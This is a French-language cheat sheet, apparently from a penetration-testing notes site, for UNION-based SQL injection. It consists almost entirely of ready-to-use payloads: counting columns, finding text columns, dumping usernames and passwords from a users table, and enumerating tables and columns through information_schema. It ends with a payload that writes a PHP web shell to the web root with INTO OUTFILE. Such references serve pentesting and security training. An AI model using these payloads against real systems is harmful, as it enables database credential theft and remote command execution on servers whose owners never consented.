👫UNION based
Déterminer le nombre de colonnes
Avec ORDER BY
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
etc.
Avec UNION SELECT
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.
Trouver une colonne contenant du texte
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.
Une fois le nombre de colonne trouvé,
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--
Selectionner des colonnes dans une table
' UNION SELECT <column1>, <column2>,... FROM table--
Exemple:
' UNION SELECT username, password FROM users--
Afficher plusieurs colonnes d'une table sur une seule ligne
' UNION SELECT <column1> || '<separator>' || <column2> FROM table--
Exemple:
' UNION SELECT username || '~' || password FROM users--
Recupérer la liste des tables dans la BDD
Exemple:
' UNION SELECT NULL,NULL-- (2 colonnes)
Donc,
' UNION SELECT table_name,NULL FROM information_schema.tables--
reponse,
...
...
users
Récupérer le nom des colonnes dans une table
En suivant l'exemple précédent:
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
PHP RCE
' UNION SELECT '<?php system($_GET['cmd']); ?>' INTO OUTFILE '/var/www/html/shell.php' #
Dernière mise à jour
Cet article vous a-t-il été utile ?